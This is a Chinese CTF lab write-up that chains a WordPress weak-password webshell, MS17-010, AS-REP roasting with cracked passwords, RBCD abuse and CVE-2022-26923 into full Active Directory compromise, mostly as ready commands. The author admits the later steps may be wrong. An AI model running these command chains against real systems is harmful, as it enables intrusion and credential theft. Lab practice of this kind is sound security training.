22网鼎杯半决赛复现
22网鼎杯半决赛复现
flag01
先扫扫端口
wordpress 用插件扫扫看
没扫到
针对wordpress可以看看后台
/wp-admin
弱口令admin/123456登录成功
上次打vulnhub遇到过一个
404页面是php,
编辑404页面可以上马
直接给整个文件换成
1 | http://121.89.200.15/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone |
蚁剑链接
1 | http://121.89.200.15/wp-content/themes/twentytwentyone/404.php |
flag02
上传fscan frp
查看ip
1 | ./fscan -h 172.22.15.1/24 |
1 | 172.22.15.18:445 open |
172.22.15.13 DC
172.22.15.18 CA
172.22.15.24 内网单独一台win机器
172.22.15.26 入口
172.22.15.35 域内成员机
对应172.22.15.18有永恒之蓝ms17010
挂号代理上msf
1 | search ms17-010 |
但是却没有调出来shell
最后通过加载powershell成功添加用户
1 | load powershell |
连远程桌面出了点小问题
也是解决了
https://blog.csdn.net/zhaoyang314/article/details/126050058
flag03
桌面有小皮,看看数据库
用户名都导出来
看一下是否存在有不要求Kerberos 预身份验证的账户
1 | proxychains python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt |
发现2个,hashcat跑跑看
1 | $krb5asrep$23$lixiuying@XIAORANG.LAB:320a091dc331a93ee180629ef8148582$aebaf73fd1e244f814d8d0e19eae7a150939ed1527fab97b189728cc6c83208b02b1723dbbe2c316af8eb57834f6b252cbf592d2fcf4ad7b4f9e610e3496c64a98618e9850600ffe6ab17d52bf284858e69d2d8abeebd9d4f6e8b22c5b82e6fdd6bbad6f030d98518324e889662811fe8856890289f4c9cecdce32784f555fed265b1e8e2ba40b0d7046553d165fa9fa7626251433e7a162d08564956edf580c777c8af3b635f781aaa969ab188d587f35694bd153f704206b340084990437e556c177d3123660dc98a985c9d243986d45a72cd362d3c281fb91cb9bd2c2844618e5369519364e5df9f3e2e8 |
hashcat 跑一下
1 | hashcat -m 18200 --force -a 0 "$krb5asrep$23$lixiuying@XIAORANG.LAB:320a091dc331a93ee180629ef8148582$aebaf73fd1e244f814d8d0e19eae7a150939ed1527fab97b189728cc6c83208b02b1723dbbe2c316af8eb57834f6b252cbf592d2fcf4ad7b4f9e610e3496c64a98618e9850600ffe6ab17d52bf284858e69d2d8abeebd9d4f6e8b22c5b82e6fdd6bbad6f030d98518324e889662811fe8856890289f4c9cecdce32784f555fed265b1e8e2ba40b0d7046553d165fa9fa7626251433e7a162d08564956edf580c777c8af3b635f781aaa969ab188d587f35694bd153f704206b340084990437e556c177d3123660dc98a985c9d243986d45a72cd362d3c281fb91cb9bd2c2844618e5369519364e5df9f3e2e8" rockyou.txt |
lixiuying/winniethepooh
huachunmei/1qaz2wsxxiaorang.lab\lixiuying winniethepooh
xiaorang.lab\huachunmei 1qaz2wsx
远程登录下 172.22.15.35
上sharpHound搜集一下域内信息,
这次换个版本老一点的sharpHound成功导入也是
可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限 ,有GenericWrite权限,意味着可以修改该机器的任何属性
ACL Abuse+RBCD提权
基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。
枚举一下当前用户(lixiuying)对当前机器的DACL。
1 | Import-Module .\PowerView.ps1 |
1 | S-1-5-21-3745972894-1678056601-2622918667-1147 |
1 | Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1147"} |
1 | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose |
通过与用户lixiuying在域内添加一个计算机账号01$,密码Passw0rd。
1 | proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13 |
利用getST脚本创建服务票据
1 | proxychains impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 |
导入票据
1 | export KRB5CCNAME=administrator.ccache |
无密码链接 读取flag
1 | proxychains impacket-wmiexec -no-pass -k XR-0687.xiaorang.lab |
flag04
注意,接下来的步骤可能有问题,请谨慎
这个过程中出了比较大的问题,后期我整理的,如有问题,麻烦及时告诉我更改
CVE-2022–26923 && RBCD Attack 拿下DC
首先 先添加一个用户
1 | proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 02\$ -computer-pass Passw0rd -dc-ip 172.22.15.13 |
1 | pip3 install certipy-ad |
针对于certipy的安装,这调命令有人可能可以,但我不行,我是
1 | git clone https://github.com/ly4k/Certipy.git |
之后在利用certipy修改02的dNSHostName
1 | proxychains certipy account update -u "lixiuying@xiaorang.lab" -p winniethepooh -user '02' -dns "XR-DC01.xiaorang.lab" -dc-ip 172.22.15.13 |
1 | proxychains certipy req -u '02$@xiaorang.lab' -p Passw0rd -ca xiaorang-XR-CA-CA -template Machine -dc-ip 172.22.15.18 |
在用dNSHostName欺骗ADCS获取一份DC机器账户的证书 这里的dc-ip指向 ADCS
-ca 用 certutil -config - -ping 进行定位
之后便获取到一份颁布给域控机器账户的证书
预期是我们能通过这份证书申请到域控机器的hash然后再进行DCsync攻击获取域控的hash从而拿下整个域控
但是因为ldaps出现问题,导致我们无法顺利申请
申请证书
1 | proxychains certipy auth -pfx xr-dc01.pfx -username xr-dc01$ -domain xiaorang.lab -dc-ip 172.22.15.13 |
可能是域控制器没有安装用于智能卡身份验证的证书 ? 所以可以尝试 Schannel
即通过 Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限
这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):
到处证书
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
脚本链接https://github.com/AlmondOffSec/PassTheCert
利用脚本传递证书
1 | proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 |
1 | proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from '02$' |
使用 impacket 的 getST.py执行基于资源的约束性委派工具并获取拥有访问XR-01机器上的GIFS服务的高权限票据。
1 | proxychains python3 getST.py xiaorang.lab/'02$':'Passw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
1 | export KRB5CCNAME=Administrator.ccache |
使用申请的票据获取XR-01这台机器的本地管理员权限。
1 | proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |
总结
这个靶场算是真的给我整的有点小红晕了,票据的认证,传送,我自己搞的证书乱放,文件夹也是到处是,有点难甭,所以在此严重提醒自己打靶的时候尽量不要换kali所在的目录,除非你很清楚。
了解到用户对当前机器有GenericWrite权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。
利用该用户创建一个新用户,并赋予该用户拥有管理员的权限,利用拥有GenericWrite权限的用户为创建的新用户新建票据,从而获取管理员权限。
学到了Active Directory域权限提升漏洞(CVE-2022-26923),该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。
如果我们将某个可控计算机账户(02$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值(xr-dc01.xiaorang.lab),那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。
首先创建一个新用户02
1 | proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 02\$ -computer-pass Passw0rd -dc-ip 172.22.15.13 |
其次为其修改dns
1 | proxychains certipy account update -u "lixiuying@xiaorang.lab" -p winniethepooh -user '02' -dns "XR-DC01.xiaorang.lab" -dc-ip 172.22.15.13 |
利用脚本传递证书
1 | proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 |
申请新证书
1 | proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from '02$' |
利用高权限申请新票据
1 | proxychains python3 getST.py xiaorang.lab/'02$':'Passw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
使用申请的票据获取XR-01这台机器的本地管理员权限
1 | proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |